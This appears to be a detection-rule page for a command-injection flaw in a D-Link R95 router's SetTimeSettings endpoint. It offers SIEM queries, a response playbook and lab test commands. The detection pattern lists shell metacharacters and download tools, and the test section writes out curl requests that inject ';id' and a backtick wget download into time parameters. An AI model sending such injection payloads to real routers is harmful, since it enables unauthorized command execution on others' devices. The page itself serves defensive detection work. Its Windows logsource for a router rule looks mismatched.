D-Link R95 DHMAPI SetTimeSettings OS Command Injection (CVE-2026-138227)
Detects exploitation attempts against CVE-2026-138227, a critical (CVSS 9.3) OS command injection vulnerability (CWE-77, CWE-78) in the SetTimeSettings function of the /bin/ssi binary within the DHMAPI component of the D-Link R95 router running firmware 1.04B04Beta. An attacker injects shell metacharacters into the TZLocation argument handled by the DHMAPI SSI endpoint, resulting in remote OS command execution. A public exploit is available. Because the vulnerable code path is reachable via the device HTTP/SSI management interface, detection focuses on HTTP requests to DHMAPI/SetTimeSettings handlers containing shell metacharacters (;, |, &, `, $(), newlines) in time-related parameters, and on anomalous child-process execution originating from the ssi/httpd process where syslog forwarding is available.
Vulnerability Intelligence
TheoreticalTimeline
- Disclosed
- November 29, 2026
CVSS
What is CVE-2026-138227 D-Link R95 DHMAPI SetTimeSettings OS Command Injection (CVE-2026-138227)?
D-Link R95 DHMAPI SetTimeSettings OS Command Injection (CVE-2026-138227) (CVE-2026-138227) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for D-Link R95 DHMAPI SetTimeSettings OS Command Injection (CVE-2026-138227), covering the data sources and telemetry it touches: Network HTTP proxy/WAF logs (CEF), Firewall URL logs, Router syslog. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-a6f1c03af9 · https://df00tech.com/detections/CVE-2026-138227 · licence: https://df00tech.com/detections/licence
let cmdInjPatterns = dynamic([";","|","&&","`","$(","${","%0a","%0d","\n","wget ","curl ","nc ","/bin/sh","busybox","tftp"]);
CommonSecurityLog
| where DeviceVendor =~ "D-Link" or DeviceProduct has "R95" or Message has "DHMAPI" or RequestURL has "ssi"
| where RequestURL has "SetTimeSettings" or RequestURL has "DHMAPI" or Message has "SetTimeSettings"
| extend Payload = strcat(tostring(RequestURL), " ", tostring(Message), " ", tostring(AdditionalExtensions))
| where cmdInjPatterns has_any (Payload) or Payload matches regex @"[;|&`]|\$\(|%0[ad]"
| project TimeGenerated, SourceIP, DestinationIP, DeviceProduct, RequestURL, RequestMethod, Payload
| sort by TimeGenerated desc Flags HTTP requests to the D-Link R95 DHMAPI SetTimeSettings SSI endpoint that contain shell metacharacters or download/exec tooling indicative of command injection. Requires router HTTP/proxy logs forwarded via CEF.
Data Sources
Required Tables
False Positives
- Legitimate NTP/time configuration containing literal ampersands or semicolons in benign values
- Security scanners or vulnerability assessment tools probing the DHMAPI endpoint
- Administrators testing time settings with unusual but non-malicious characters
Query fingerprint DF00-a6f1c03af9 · licence
Sigma logsource & community rules
The detection logic for D-Link R95 DHMAPI SetTimeSettings OS Command Injection (CVE-2026-138227) (CVE-2026-138227) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-138227
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated DHMAPI SetTimeSettings command injection via metacharacter payload
Expected signal: Proxy/firewall/router HTTP log entry showing a request to SetTimeSettings containing a semicolon and 'id' command.
- Test 2 Simulated download-and-execute injection via DHMAPI
Expected signal: HTTP log entry containing SetTimeSettings and 'wget' in the query string.
- Test 3 Benign time configuration control request
Expected signal: HTTP log entry to SetTimeSettings with clean parameters.
Response Playbook
Triage
- Confirm the destination IP is a D-Link R95 router running firmware 1.04B04Beta exposed to the request source; check whether its management/SSI interface is reachable from untrusted networks.
- Decode and inspect the captured SetTimeSettings/DHMAPI request payload to identify the injected shell metacharacters and the exact command sequence attempted (e.g. wget/tftp download, reverse shell, busybox).
- Determine whether the request succeeded (HTTP 200 / altered device behavior) versus was blocked, and whether the source IP issued prior reconnaissance against the same endpoint.
- Correlate the source IP against threat intelligence and check for the same injection pattern hitting other D-Link devices in the environment.
Containment
- Block the attacker source IP at the perimeter firewall and remove any public exposure of the R95 management/SSI interface (restrict to management VLAN/VPN).
- If compromise is confirmed, isolate the affected router from the network and plan an out-of-band firmware update or replacement, since 1.04B04Beta is vulnerable.
- Rotate any credentials, Wi-Fi PSKs, and management secrets stored on or reachable through the compromised device.
Evidence Collection
- Capture full HTTP request/response pairs (proxy, firewall, and device syslog) for the SetTimeSettings/DHMAPI requests including source IP, timestamps and payloads.
- Where possible, acquire the router configuration, running process list, and any dropped files (downloaded via wget/tftp) from the device for forensic analysis.
- Preserve NetFlow/connection logs showing any outbound connections initiated by the router immediately after the injection attempt.
Escalation Criteria
- ! Escalate to incident response if the injected command executed successfully (evidence of outbound download, new processes, or config change on the device).
- ! Escalate if multiple D-Link R95 devices are targeted or if the source IP pivots to internal hosts after device compromise.
- ! Escalate to vendor/management if the device cannot be patched and must remain in production, requiring compensating controls.
Investigation Guide
Forensic Artifacts
- >
Router syslog entries for the ssi/httpd process around the request time - >
Dropped payload files in device-writable directories (e.g. /tmp, /var) - >
Outbound connection records (NetFlow) from the router following the request - >
Proxy/firewall HTTP logs capturing the SetTimeSettings request payload
Tuning Guidance
Baseline legitimate administrative access to the R95 management interface and allowlist known admin source IPs/management hosts to reduce noise. Tighten the metacharacter regex if benign time values in your environment legitimately contain characters such as '&'. Prioritize alerts where the payload includes download-and-execute tooling (wget/curl/tftp/busybox) or where the request originates from outside the management network. A public exploit exists, so treat matches as high priority and correlate with device-side telemetry to confirm compromise.
Hunting Queries
Identifies sources making repeated requests to the DHMAPI SetTimeSettings endpoint, indicating probing or brute-force injection attempts.
// df00tech DF00-a6f1c03af9 · https://df00tech.com/detections/CVE-2026-138227 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has_any ("SetTimeSettings","DHMAPI") | summarize count(), make_set(RequestURL) by SourceIP, DestinationIP | where count_ > 5 ``` df00tech DF00-a6f1c03af9 · https://df00tech.com/detections/CVE-2026-138227 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=firewall (uri_path="*SetTimeSettings*" OR uri_path="*DHMAPI*") | stats count values(uri_path) by src_ip dest_ip | where count > 5 Atomic Red Team Tests
Sends an HTTP request to a lab D-Link R95 (or mock) DHMAPI SetTimeSettings endpoint with a semicolon-injected command to validate detection of shell metacharacters.
Command
curl -s -X POST 'http://192.168.0.1/SetTimeSettings?NTPServer=pool.ntp.org%3B%20id' -d 'time=2026-01-01;id' -H 'Content-Type: application/x-www-form-urlencoded' Cleanup
echo 'No cleanup required; lab request only. Reset device time config via UI if changed.' Expected Telemetry
Proxy/firewall/router HTTP log entry showing a request to SetTimeSettings containing a semicolon and 'id' command.
Expected Detection
KQL/SPL rules match on SetTimeSettings URL plus metacharacter regex.
Sends a crafted request attempting to inject a wget download command into a time parameter to validate detection of download tooling.
Command
curl -s 'http://192.168.0.1/cgi-bin/ssi?action=SetTimeSettings&tz=UTC%60wget%20http%3A%2F%2F127.0.0.1%2Fx%60' Cleanup
rm -f ./x 2>/dev/null; echo 'cleanup complete' Expected Telemetry
HTTP log entry containing SetTimeSettings and 'wget' in the query string.
Expected Detection
Detection fires on DHMAPI/SetTimeSettings endpoint with wget indicator.
Sends a legitimate SetTimeSettings request without metacharacters to confirm the detection does not alert on normal configuration (true-negative control).
Command
curl -s -X POST 'http://192.168.0.1/SetTimeSettings' -d 'NTPServer=pool.ntp.org&timezone=UTC' Cleanup
echo 'No cleanup required.' Expected Telemetry
HTTP log entry to SetTimeSettings with clean parameters.
Expected Detection
No alert expected; validates false-positive tuning.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040